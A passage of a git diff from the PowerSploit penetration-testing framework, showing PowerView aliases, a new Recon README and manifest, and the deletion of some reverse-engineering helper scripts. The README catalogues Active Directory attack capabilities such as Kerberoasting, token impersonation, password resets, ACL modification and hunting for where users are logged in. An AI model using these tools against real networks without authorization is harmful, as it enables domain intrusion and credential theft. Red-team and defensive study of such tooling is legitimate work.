Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), + (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), + (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) +) + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' +$Netapi32 = $Types['netapi32'] +$Advapi32 = $Types['advapi32'] +$Wtsapi32 = $Types['wtsapi32'] +$Mpr = $Types['Mpr'] +$Kernel32 = $Types['kernel32'] + +Set-Alias Get-IPAddress Resolve-IPAddress +Set-Alias Convert-NameToSid ConvertTo-SID +Set-Alias Convert-SidToName ConvertFrom-SID +Set-Alias Request-SPNTicket Get-DomainSPNTicket +Set-Alias Get-DNSZone Get-DomainDNSZone +Set-Alias Get-DNSRecord Get-DomainDNSRecord +Set-Alias Get-NetDomain Get-Domain +Set-Alias Get-NetDomainController Get-DomainController +Set-Alias Get-NetForest Get-Forest +Set-Alias Get-NetForestDomain Get-ForestDomain +Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog +Set-Alias Get-NetUser Get-DomainUser +Set-Alias Get-UserEvent Get-DomainUserEvent +Set-Alias Get-NetComputer Get-DomainComputer +Set-Alias Get-ADObject Get-DomainObject +Set-Alias Set-ADObject Set-DomainObject +Set-Alias Get-ObjectAcl Get-DomainObjectAcl +Set-Alias Add-ObjectAcl Add-DomainObjectAcl +Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl +Set-Alias Get-GUIDMap Get-DomainGUIDMap +Set-Alias Get-NetOU Get-DomainOU +Set-Alias Get-NetSite Get-DomainSite +Set-Alias Get-NetSubnet Get-DomainSubnet +Set-Alias Get-NetGroup Get-DomainGroup +Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup +Set-Alias Get-NetGroupMember Get-DomainGroupMember +Set-Alias Get-NetFileServer Get-DomainFileServer +Set-Alias Get-DFSshare Get-DomainDFSShare +Set-Alias Get-NetGPO Get-DomainGPO +Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup +Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping +Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping +Set-Alias Get-LoggedOnLocal Get-RegLoggedOn +Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess +Set-Alias Get-SiteName Get-NetComputerSiteName +Set-Alias Get-Proxy Get-WMIRegProxy +Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn +Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection +Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive +Set-Alias Get-NetProcess Get-WMIProcess +Set-Alias Invoke-ThreadedFunction New-ThreadedFunction +Set-Alias Invoke-UserHunter Find-DomainUserLocation +Set-Alias Invoke-ProcessHunter Find-DomainProcess +Set-Alias Invoke-EventHunter Find-DomainUserEvent +Set-Alias Invoke-ShareFinder Find-DomainShare +Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile +Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember +Set-Alias Get-NetDomainTrust Get-DomainTrust +Set-Alias Get-NetForestTrust Get-ForestTrust +Set-Alias Find-ForeignUser Get-DomainForeignUser +Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember +Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping +Set-Alias Get-DomainPolicy Get-DomainPolicyData diff --git a/Recon/README.md b/Recon/README.md new file mode 100644 index 00000000..7fcacc5e --- /dev/null +++ b/Recon/README.md @@ -0,0 +1,126 @@ +To install this module, drop the entire Recon folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. + +The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" +The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" + +To use the module, type `Import-Module Recon` + +To see the commands imported, type `Get-Command -Module Recon` + +For help on each individual command, Get-Help is your friend. + +Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. + + +## PowerView + +PowerView is a PowerShell tool to gain network situational awareness on +Windows domains. It contains a set of pure-PowerShell replacements for various +windows "net *" commands, which utilize PowerShell AD hooks and underlying +Win32 API functions to perform useful Windows domain functionality. + +It also implements various useful metafunctions, including some custom-written +user-hunting functions which will identify where on the network specific users +are logged into. It can also check which machines on the domain the current +user has local administrator access on. Several functions for the enumeration +and abuse of domain trusts also exist. See function descriptions for appropriate +usage and available options. For detailed output of underlying functionality, pass +the -Verbose or -Debug flags. + +For functions that enumerate multiple machines, pass the -Verbose flag to get a +progress status as each host is enumerated. Most of the "meta" functions accept +an array of hosts from the pipeline. + + +### Misc Functions: + Export-PowerViewCSV - thread-safe CSV append + Resolve-IPAddress - resolves a hostname to an IP + ConvertTo-SID - converts a given user/group name to a security identifier (SID) + Convert-ADName - converts object names between a variety of formats + ConvertFrom-UACValue - converts a UAC int value to human readable form + Add-RemoteConnection - pseudo "mounts" a connection to a remote path using the specified credential object + Remove-RemoteConnection - destroys a connection created by New-RemoteConnection + Invoke-UserImpersonation - creates a new "runas /netonly" type logon and impersonates the token + Invoke-RevertToSelf - reverts any token impersonation + Get-DomainSPNTicket - request the kerberos ticket for a specified service principal name (SPN) + Invoke-Kerberoast - requests service tickets for kerberoast-able accounts and returns extracted ticket hashes + Get-PathAcl - get the ACLs for a local/remote file path with optional group recursion + + +### Domain/LDAP Functions: + Get-DomainDNSZone - enumerates the Active Directory DNS zones for a given domain + Get-DomainDNSRecord - enumerates the Active Directory DNS records for a given zone + Get-Domain - returns the domain object for the current (or specified) domain + Get-DomainController - return the domain controllers for the current (or specified) domain + Get-Forest - returns the forest object for the current (or specified) forest + Get-ForestDomain - return all domains for the current (or specified) forest + Get-ForestGlobalCatalog - return all global catalogs for the current (or specified) forest + Find-DomainObjectPropertyOutlier- inds user/group/computer objects in AD that have 'outlier' properties set + Get-DomainUser - return all users or specific user objects in AD + New-DomainUser - creates a new domain user (assuming appropriate permissions) and returns the user object + Set-DomainUserPassword - sets the password for a given user identity and returns the user object + Get-DomainUserEvent - enumerates account logon events (ID 4624) and Logon with explicit credential events + Get-DomainComputer - returns all computers or specific computer objects in AD + Get-DomainObject - returns all (or specified) domain objects in AD + Set-DomainObject - modifies a gven property for a specified active directory object + Get-DomainObjectAcl - returns the ACLs associated with a specific active directory object + Add-DomainObjectAcl - adds an ACL for a specific active directory object + Find-InterestingDomainAcl - finds object ACLs in the current (or specified) domain with modification rights set to non-built in objects + Get-DomainOU - search for all organization units (OUs) or specific OU objects in AD + Get-DomainSite - search for all sites or specific site objects in AD + Get-DomainSubnet - search for all subnets or specific subnets objects in AD + Get-DomainSID - returns the SID for the current domain or the specified domain + Get-DomainGroup - return all groups or specific group objects in AD + New-DomainGroup - creates a new domain group (assuming appropriate permissions) and returns the group object + Get-DomainManagedSecurityGroup - returns all security groups in the current (or target) domain that have a manager set + Get-DomainGroupMember - return the members of a specific domain group + Add-DomainGroupMember - adds a domain user (or group) to an existing domain group, assuming appropriate permissions to do so + Get-DomainFileServer - returns a list of servers likely functioning as file servers + Get-DomainDFSShare - returns a list of all fault-tolerant distributed file systems for the current (or specified) domain + + +### GPO functions + + Get-DomainGPO - returns all GPOs or specific GPO objects in AD + Get-DomainGPOLocalGroup - returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' or Group Policy preferences + Get-DomainGPOUserLocalGroupMapping - enumerates the machines where a specific domain user/group is a member of a specific local group, all through GPO correlation + Get-DomainGPOComputerLocalGroupMapping - takes a computer (or GPO) object and determines what users/groups are in the specified local group for the machine through GPO correlation + Get-DomainPolicy - returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller + + +### Computer Enumeration Functions + + Get-NetLocalGroup - enumerates the local groups on the local (or remote) machine + Get-NetLocalGroupMember - enumerates members of a specific local group on the local (or remote) machine + Get-NetShare - returns open shares on the local (or a remote) machine + Get-NetLoggedon - returns users logged on the local (or a remote) machine + Get-NetSession - returns session information for the local (or a remote) machine + Get-RegLoggedOn - returns who is logged onto the local (or a remote) machine through enumeration of remote registry keys + Get-NetRDPSession - returns remote desktop/session information for the local (or a remote) machine + Test-AdminAccess - rests if the current user has administrative access to the local (or a remote) machine + Get-NetComputerSiteName - returns the AD site where the local (or a remote) machine resides + Get-WMIRegProxy - enumerates the proxy server and WPAD conents for the current user + Get-WMIRegLastLoggedOn - returns the last user who logged onto the local (or a remote) machine + Get-WMIRegCachedRDPConnection - returns information about RDP connections outgoing from the local (or remote) machine + Get-WMIRegMountedDrive - returns information about saved network mounted drives for the local (or remote) machine + Get-WMIProcess - returns a list of processes and their owners on the local or remote machine + Find-InterestingFile - searches for files on the given path that match a series of specified criteria + + +### Threaded 'Meta'-Functions + + Find-DomainUserLocation - finds domain machines where specific users are logged into + Find-DomainProcess - finds domain machines where specific processes are currently running + Find-DomainUserEvent - finds logon events on the current (or remote domain) for the specified users + Find-DomainShare - finds reachable shares on domain machines + Find-InterestingDomainShareFile - searches for files matching specific criteria on readable shares in the domain + Find-LocalAdminAccess - finds machines on the local domain where the current user has local administrator access + Find-DomainLocalGroupMember - enumerates the members of specified local group on machines in the domain + + +### Domain Trust Functions: + Get-DomainTrust - returns all domain trusts for the current domain or a specified domain + Get-ForestTrust - returns all forest trusts for the current forest or a specified forest + Get-DomainForeignUser - enumerates users who are in groups outside of the user's domain + Get-DomainForeignGroupMember - enumerates groups with users outside of the group's domain and returns each foreign member + Get-DomainTrustMapping - this function enumerates all trusts for the current domain and then enumerates all trusts for each domain it finds diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index 43ba3a18..d0a4148b 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -1,19 +1,16 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'Recon.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = '7e775ad6-cd3d-4a93-b788-da067274c877' # Author of this module -Author = 'Matthew Graeber' - -# Company or vendor of this module -CompanyName = '' +Author = 'Matthew Graeber', 'Will Schroeder' # Copyright statement for this module Copyright = 'BSD 3-Clause' @@ -24,65 +21,91 @@ Description = 'PowerSploit Reconnaissance Module' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -# FormatsToProcess = @() - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - # Functions to export from this module -FunctionsToExport = '*' - -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'}) - -# List of all files packaged with this module -FileList = 'Recon.psm1', 'Recon.psd1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1', - 'Invoke-Portscan.ps1', 'Usage.md' - -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - -} \ No newline at end of file +FunctionsToExport = @( + 'Export-PowerViewCSV', + 'Resolve-IPAddress', + 'ConvertTo-SID', + 'ConvertFrom-SID', + 'Convert-ADName', + 'ConvertFrom-UACValue', + 'Add-RemoteConnection', + 'Remove-RemoteConnection', + 'Invoke-UserImpersonation', + 'Invoke-RevertToSelf', + 'Get-DomainSPNTicket', + 'Invoke-Kerberoast', + 'Get-PathAcl', + 'Get-DomainDNSZone', + 'Get-DomainDNSRecord', + 'Get-Domain', + 'Get-DomainController', + 'Get-Forest', + 'Get-ForestDomain', + 'Get-ForestGlobalCatalog', + 'Find-DomainObjectPropertyOutlier', + 'Get-DomainUser', + 'New-DomainUser', + 'Set-DomainUserPassword', + 'Get-DomainUserEvent', + 'Get-DomainComputer', + 'Get-DomainObject', + 'Set-DomainObject', + 'Set-DomainObjectOwner', + 'Get-DomainObjectAcl', + 'Add-DomainObjectAcl', + 'Find-InterestingDomainAcl', + 'Get-DomainOU', + 'Get-DomainSite', + 'Get-DomainSubnet', + 'Get-DomainSID', + 'Get-DomainGroup', + 'New-DomainGroup', + 'Get-DomainManagedSecurityGroup', + 'Get-DomainGroupMember', + 'Add-DomainGroupMember', + 'Get-DomainFileServer', + 'Get-DomainDFSShare', + 'Get-DomainGPO', + 'Get-DomainGPOLocalGroup', + 'Get-DomainGPOUserLocalGroupMapping', + 'Get-DomainGPOComputerLocalGroupMapping', + 'Get-DomainPolicy', + 'Get-NetLocalGroup', + 'Get-NetLocalGroupMember', + 'Get-NetShare', + 'Get-NetLoggedon', + 'Get-NetSession', + 'Get-RegLoggedOn', + 'Get-NetRDPSession', + 'Test-AdminAccess', + 'Get-NetComputerSiteName', + 'Get-WMIRegProxy', + 'Get-WMIRegLastLoggedOn', + 'Get-WMIRegCachedRDPConnection', + 'Get-WMIRegMountedDrive', + 'Get-WMIProcess', + 'Find-InterestingFile', + 'Find-DomainUserLocation', + 'Find-DomainProcess', + 'Find-DomainUserEvent', + 'Find-DomainShare', + 'Find-InterestingDomainShareFile', + 'Find-LocalAdminAccess', + 'Find-DomainLocalGroupMember', + 'Get-DomainTrust', + 'Get-ForestTrust', + 'Get-DomainForeignUser', + 'Get-DomainForeignGroupMember', + 'Get-DomainTrustMapping', + 'Get-ComputerDetail', + 'Get-HttpStatus', + 'Invoke-Portscan', + 'Invoke-ReverseDnsLookup' +) + +# List of all files packaged with this module +FileList = 'Recon.psm1', 'Recon.psd1', 'PowerView.ps1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1', + 'Invoke-Portscan.ps1', 'Get-ComputerDetails.ps1', 'README.md' + +} diff --git a/Recon/Recon.psm1 b/Recon/Recon.psm1 index e5234fbe..81d38186 100644 --- a/Recon/Recon.psm1 +++ b/Recon/Recon.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/ReverseEngineering/ConvertTo-String.ps1 b/ReverseEngineering/ConvertTo-String.ps1 deleted file mode 100644 index ab46c74f..00000000 --- a/ReverseEngineering/ConvertTo-String.ps1 +++ /dev/null @@ -1,70 +0,0 @@ -filter ConvertTo-String -{ -<# -.SYNOPSIS - -Converts the bytes of a file to a string. - -PowerSploit Function: ConvertTo-String -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -ConvertTo-String converts the bytes of a file to a string that has a -1-to-1 mapping back to the file's original bytes. ConvertTo-String is -useful for performing binary regular expressions. - -.PARAMETER Path - -Specifies the path to the file to convert. - -.EXAMPLE - -PS C:\>$BinaryString = ConvertTo-String C:\Windows\SysWow64\kernel32.dll -PS C:\>$HotpatchableRegex = [Regex] '[\xCC\x90]{5}\x8B\xFF' -PS C:\>$HotpatchableRegex.Matches($BinaryString) - -Description ------------ -Converts kernel32.dll into a string. A binary regular expression is -then performed on the string searching for a hotpatchable code -sequence - i.e. 5 nop/int3 followed by a mov edi, edi instruction. - -.NOTES - -The intent of ConvertTo-String is not to replicate the functionality -of strings.exe, rather it is intended to be used when -performing regular expressions on binary data. - -.LINK - -http://www.exploit-monday.com -#> - - [OutputType([String])] - Param ( - [Parameter( Mandatory = $True, - Position = 0, - ValueFromPipeline = $True )] - [ValidateScript({-not (Test-Path $_ -PathType Container)})] - [String] - $Path - ) - - $FileStream = New-Object -TypeName IO.FileStream -ArgumentList (Resolve-Path $Path), 'Open', 'Read' - - # Note: Codepage 28591 returns a 1-to-1 char to byte mapping - $Encoding = [Text.Encoding]::GetEncoding(28591) - - $StreamReader = New-Object IO.StreamReader($FileStream, $Encoding) - - $BinaryText = $StreamReader.ReadToEnd() - - $StreamReader.Close() - $FileStream.Close() - - Write-Output $BinaryText -} \ No newline at end of file diff --git a/ReverseEngineering/Get-ILDisassembly.format.ps1xml b/ReverseEngineering/Get-ILDisassembly.format.ps1xml deleted file mode 100644 index f933e1e9..00000000 --- a/ReverseEngineering/Get-ILDisassembly.format.ps1xml +++ /dev/null @@ -1,40 +0,0 @@ - - - - - ILInstructionView - - IL_INSTRUCTION - - - - - - - - - - - - - - - - - - - Position - - - Instruction - - - Operand - - - - - - - - \ No newline at end of file diff --git a/ReverseEngineering/Get-ILDisassembly.ps1 b/ReverseEngineering/Get-ILDisassembly.ps1 deleted file mode 100644 index 645dc394..00000000 --- a/ReverseEngineering/Get-ILDisassembly.ps1 +++ /dev/null @@ -1,212 +0,0 @@ -function Get-ILDisassembly -{ -<# -.SYNOPSIS - -A MSIL (Microsoft Intermediate Language) disassembler. - -PowerSploit Function: Get-ILDisassembly -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Get-ILDisassembly disassembles a raw MSIL byte array passed in from a MethodInfo object in a manner similar to that of Ildasm. - -The majority of this code was simply translated from C# (with permission) from a code example taken from: "C# 4.0 in a Nutshell", Copyright 2010, Joseph Albahari and Ben Albahari, pg. 728-733 - -.PARAMETER MethodInfo - -A MethodInfo object that describes the implementation of the method and contains the IL for the method. - -.EXAMPLE - -C:\PS> [Int].GetMethod('Parse', [String]) | Get-ILDisassembly | Format-Table Position, Instruction, Operand -AutoSize - -Position Instruction Operand --------- ----------- ------- -IL_0000 ldarg.0 -IL_0001 ldc.i4.7 -IL_0002 call System.Globalization.NumberFormatInfo.get_CurrentInfo -IL_0007 call System.Number.ParseInt32 -IL_000C ret - -Description ------------ -Disassembles the System.Int32.Parse(String) method - -.EXAMPLE - -C:\PS> $MethodInfo = [Array].GetMethod('BinarySearch', [Type[]]([Array], [Object])) -C:\PS> Get-ILDisassembly $MethodInfo | Format-Table Position, Instruction, Operand -AutoSize - -Position Instruction Operand --------- ----------- ------- -IL_0000 ldarg.0 -IL_0001 brtrue.s IL_000E -IL_0003 ldstr 'array' -IL_0008 newobj System.ArgumentNullException..ctor -IL_000D throw -IL_000E ldarg.0 -IL_000F ldc.i4.0 -IL_0010 callvirt System.Array.GetLowerBound -IL_0015 stloc.0 -IL_0016 ldarg.0 -IL_0017 ldloc.0 -IL_0018 ldarg.0 -IL_0019 callvirt System.Array.get_Length -IL_001E ldarg.1 -IL_001F ldnull -IL_0020 call System.Array.BinarySearch -IL_0025 ret - -Description ------------ -Disassembles the System.Array.BinarySearch(Array, Object) method - -.INPUTS - -System.Reflection.MethodInfo - -The method description containing the raw IL bytecodes. - -.OUTPUTS - -System.Object - -Returns a custom object consisting of a position, instruction, and opcode parameter. - -.LINK - -http://www.exploit-monday.com -http://www.albahari.com/nutshell/cs4ch18.aspx -http://msdn.microsoft.com/en-us/library/system.reflection.emit.opcodes.aspx -http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-335.pdf -#> - - Param ( - [Parameter(Mandatory = $True, ValueFromPipeline = $True)] - [System.Reflection.MethodInfo] - $MethodInfo - ) - - if (!($MethodInfo.GetMethodBody())) { - return - } - - $IL = $MethodInfo.GetMethodBody().GetILAsByteArray() - $MethodModule = $MethodInfo.DeclaringType.Module - - $OpCodeTable = @{} - - # Fill OpCodeTable with every OpCode so that it can be referenced by numeric byte value - [System.Reflection.Emit.OpCodes].GetMembers() | - ForEach-Object { - try { - $OpCode = $_.GetValue($null) - $OpCodeTable[[Int16] $OpCode.Value] = $OpCode - } catch {} - } - - $Position = 0 - - # Disassemble every instruction until the end of the IL bytecode array is reached - while ($Position -lt $IL.Length) { - - # Get current instruction position - $InstructionPostion = "IL_{0}" -f ($Position.ToString('X4')) - - if ($IL[$Position] -eq 0xFE) { - # You are dealing with a two-byte opcode in this case - $Op = $OpCodeTable[[Int16] ([BitConverter]::ToInt16($IL[($Position+1)..$Position], 0))] - $Position++ - } else { - # Otherwise, it's a one-byte opcode - $Op = $OpCodeTable[[Int16] $IL[$Position]] - } - - $Position++ - - $Type = $Op.OperandType - $Operand = $null - - if ($Type -eq 'InlineNone') { - $OperandLength = 0 - } elseif (($Type -eq 'ShortInlineBrTarget') -or ($Type -eq 'ShortInlineI') -or ($Type -eq 'ShortInlineVar')) { - $OperandLength = 1 - - if ($Type -eq 'ShortInlineBrTarget') { # Short relative jump instruction - # [SByte]::Parse was used because PowerShell doesn't handle signed bytes well - $Target = $Position + ([SByte]::Parse($IL[$Position].ToString('X2'), 'AllowHexSpecifier')) + 1 - $Operand = "IL_{0}" -f ($Target.ToString('X4')) - } - } elseif ($Type -eq 'InlineVar') { - $OperandLength = 2 - } elseif (($Type -eq 'InlineI8') -or (($Type -eq 'InlineR'))) { - $OperandLength = 8 - } elseif ($Type -eq 'InlineSwitch') { - # This is the only operand type with a variable number of operands - $TargetCount = [BitConverter]::ToInt32($IL, $Position) - $OperandLength = 4 * ($TargetCount + 1) - $Targets = New-Object String[]($TargetCount) - - foreach ($i in 0..($TargetCount - 1)) { - # Get all switch jump targets - $Target = [BitConverter]::ToInt32($IL, ($Position + ($i + 1) * 4)) - $Targets[$i] = "IL_{0}" -f (($Position + $Target + $OperandLength).ToString('X4')) - } - - $Operand = "({0})" -f ($Targets -join ',') - } else { - $OperandLength = 4 - $Operand = $null - - $OpInt = [BitConverter]::ToInt32($IL, $Position) - - if (($Type -eq 'InlineTok') -or ($Type -eq 'InlineMethod') -or ($Type -eq 'InlineField') -or ($Type -eq 'InlineType')) { - # Resolve all operands with metadata tokens - Write-Verbose "OpCode Metadata for member: $OpInt" - try { $MemberInfo = $MethodModule.ResolveMember($OpInt) } catch { $Operand = $null } - if (!$MemberInfo) { $Operand = $null } - - # Retrieve the actual name of the class and method - if ($MemberInfo.ReflectedType) { - $Operand = "{0}.{1}" -f ($MemberInfo.ReflectedType.Fullname), ($MemberInfo.Name) - } elseif ($MemberInfo -is [Type]) { - $Operand = $MemberInfo.GetType().FullName - } else { - $Operand = $MemberInfo.Name - } - } elseif ($Type -eq 'InlineString') { - # Retrieve the referenced string - $Operand = "`'{0}`'" -f ($MethodModule.ResolveString($OpInt)) - } elseif ($Type -eq 'InlineBrTarget') { - $Operand = "IL_{0}" -f (($Position + $OpInt + 4).ToString('X4')) - } else { - $Operand = $null - } - } - - if (($OperandLength -gt 0) -and ($OperandLength -ne 4) -and ($Type -ne 'InlineSwitch') -and ($Type -ne 'ShortInlineBrTarget')) { - # Simply print the hex for all operands with immediate values - $Operand = "0x{0}" -f (($IL[$Position..($Position+$OperandLength-1)] | ForEach-Object { $_.ToString('X2') }) -join '') - } - - $Instruction = @{ - Position = $InstructionPostion - Instruction = $Op.Name - Operand = $Operand - } - - # Return a custom object containing a position, instruction, and fully-qualified operand - $InstructionObject = New-Object PSObject -Property $Instruction - $InstructionObject.PSObject.TypeNames.Insert(0, 'IL_INSTRUCTION') - - $InstructionObject - - # Adjust the position in the opcode array accordingly - $Position += $OperandLength - } -} \ No newline at end of file diff --git a/ReverseEngineering/Get-Member.ps1 b/ReverseEngineering/Get-Member.ps1 deleted file mode 100644 index 2f04deb5..00000000 --- a/ReverseEngineering/Get-Member.ps1 +++ /dev/null @@ -1,369 +0,0 @@ -function Get-Member -{ -<# -.SYNOPSIS - -Gets the properties and methods of objects. - -PowerSploit Proxy Function: Get-Member -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause (Except for the help documentation derived from the original Get-Member) -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -The Get-Member cmdlet gets the "members" (properties and methods) of objects. - -To specify the object, use the InputObject parameter or pipe an object to Get-Member. To retrieve information about static members (members of the class, not of the instance), use the Static parameter. To get only certain types of members, such as NoteProperties, use the MemberType parameter. - -.PARAMETER Private - -Gets only the non-public members of the object. - -These members are typically not exposed and are extracted using reflection. - -.PARAMETER Static - -Gets only the static properties and methods of the object. - -Static properties and methods are defined on the class of objects, not on any particular instance of the class. - -If you use the Static parameter with the View parameter, the View parameter is ignored. If you use the Static parameter with the MemberType parameter, Get-Member gets only the members that belong to both sets. - -.PARAMETER Force - -Adds the intrinsic members (PSBase, PSAdapted, PSObject, PSTypeNames) and the compiler-generated get_, set_, op_, .ctor, and .cctor methods to the display. By default, Get-Member gets these properties in all views other than "Base" and "Adapted," but it does not display them. - -The following list describes the properties that are added when you use the Force parameter: - --- PSBase: The original properties of the .NET Framework object without extension or adaptation. These are the properties defined for the object class and listed in MSDN. --- PSAdapted: The properties and methods defined in the Windows PowerShell extended type system. --- PSExtended: The properties and methods that were added in the Types.ps1xml files or by using the Add-Member cmdlet. --- PSObject: The adapter that converts the base object to a Windows PowerShell PSObject object. --- PSTypeNames: A list of object types that describe the object, in order of specificity. When formatting the object, Windows PowerShell searches for the types in the Format.ps1xml files in the Windows PowerShell installation directory ($pshome). It uses the formatting definition for the first type that it finds. --- get_*: The object's getter methods --- set_*: The object's setter methods --- op_*: The object's operator methods --- .ctor: The object's constructor --- .cctor: The object's copy constructor - -.PARAMETER InputObject - -Specifies the object whose members are retrieved. - -Using the InputObject parameter is not the same as piping an object to Get-Member. The differences are as follows: - --- When you pipe a collection of objects to Get-Member, Get-Member gets the members of the individual objects in the collection, such as the properties of the integers in an array of integers. - --- When you use InputObject to submit a collection of objects, Get-Member gets the members of the collection, such as the properties of the array in an array of integers. - -.PARAMETER PrivateMemberType - -When the 'Private' parameter is specified, only members with the specified member type. The default is All. - -The valid values for this parameter are: - --- Constructor: A constructor method of the underlying .NET Framework object. --- Event: Indicates that the object sends a message to indicate an action or a change in state. --- Field: A private field of the underlying .NET Framework object. --- Method: A method of the underlying .NET Framework object. --- Property: A property of the underlying .NET Framework object. --- TypeInfo: A type of the underlying .NET Framework object. --- Custom: A custom member type --- NestedType: A nested type of the underlying .NET Framework object. - --- All: Gets all member types. - -.PARAMETER MemberType - -Gets only members with the specified PowerShell member type. The default is All. - -The valid values for this parameter are: - --- AliasProperty: A property that defines a new name for an existing property. --- CodeMethod: A method that references a static method of a .NET Framework class. --- CodeProperty: A property that references a static property of a .NET Framework class. --- Event: Indicates that the object sends a message to indicate an action or a change in state. --- MemberSet: A predefined collection of properties and methods, such as PSBase, PSObject, and PSTypeNames. --- Method: A method of the underlying .NET Framework object. --- NoteProperty: A property with a static value. --- ParameterizedProperty: A property that takes parameters and parameter values. --- Property: A property of the underlying .NET Framework object. --- PropertySet: A predefined collection of object properties. --- ScriptMethod: A method whose value is the output of a script. --- ScriptProperty: A property whose value is the output of a script. - --- All: Gets all member types. --- Methods: Gets all types of methods of the object (for example, Method, CodeMethod, ScriptMethod). --- Properties: Gets all types of properties of the object (for example, Property, CodeProperty, AliasProperty, ScriptProperty). - -Not all objects have every type of member. If you specify a member type that the object does not have, Windows PowerShell returns a null value. - -To get related types of members, such as all extended members, use the View parameter. If you use the MemberType parameter with the Static or View parameters, Get-Member gets the members that belong to both sets. - -.PARAMETER Name - -Specifies the names of one or more properties or methods of the object. Get-Member gets only the specified properties and methods. - -If you use the Name parameter with the MemberType, View, or Static parameters, Get-Member gets only the members that satisfy the criteria of all parameters. - -To get a static member by name, use the Static parameter with the Name parameter. - -.PARAMETER View - -Gets only particular types of members (properties and methods). Specify one or more of the values. The default is "Adapted, Extended". - -Valid values are: --- Base: Gets only the original properties and methods of the .NET Framework object (without extension or adaptation). --- Adapted: Gets only the properties and methods defined in the Windows PowerShell extended type system. --- Extended: Gets only the properties and methods that were added in the Types.ps1xml files or by using the Add-Member cmdlet. --- All: Gets the members in the Base, Adapted, and Extended views. - -The View parameter determines the members retrieved, not just the display of those members. - -To get particular member types, such as script properties, use the MemberType parameter. If you use the MemberType and View parameters in the same command, Get-Member gets the members that belong to both sets. If you use the Static and View parameters in the same command, the View parameter is ignored. - -.EXAMPLE - -C:\PS> [String] | Get-Member -Static -Private - -Description ------------ -Returns all staic, non-public members of the String class. - -.EXAMPLE - -C:\PS> [Diagnostics.Process] | Get-Member -Private -PrivateMemberType Method - -Description ------------ -Returns all non-public instance methods of the Diagnostics.Process class - -.EXAMPLE - -C:\PS> "Hello, World" | Get-Member -Private -Force - -Description ------------ -Returns all instance members including those with special names (like .ctor) of the string instance - -.LINK - -http://www.exploit-monday.com/2012/08/surgical-net-dissection.html - -#> - [CmdletBinding(DefaultParameterSetName = 'Default')] - Param ( - [Parameter(ValueFromPipeline=$true, ParameterSetName = 'Default')] - [Parameter(ValueFromPipeline=$true, ParameterSetName = 'Private')] - [System.Management.Automation.PSObject] - $InputObject, - - [Parameter(Position=0, ParameterSetName = 'Default')] - [Parameter(Position=0, ParameterSetName = 'Private')] - [ValidateNotNullOrEmpty()] - [System.String[]] - $Name, - - [Parameter(ParameterSetName = 'Default')] - [Alias('Type')] - [System.Management.Automation.PSMemberTypes] - $MemberType, - - [Parameter(ParameterSetName = 'Private')] - [System.Reflection.MemberTypes] - 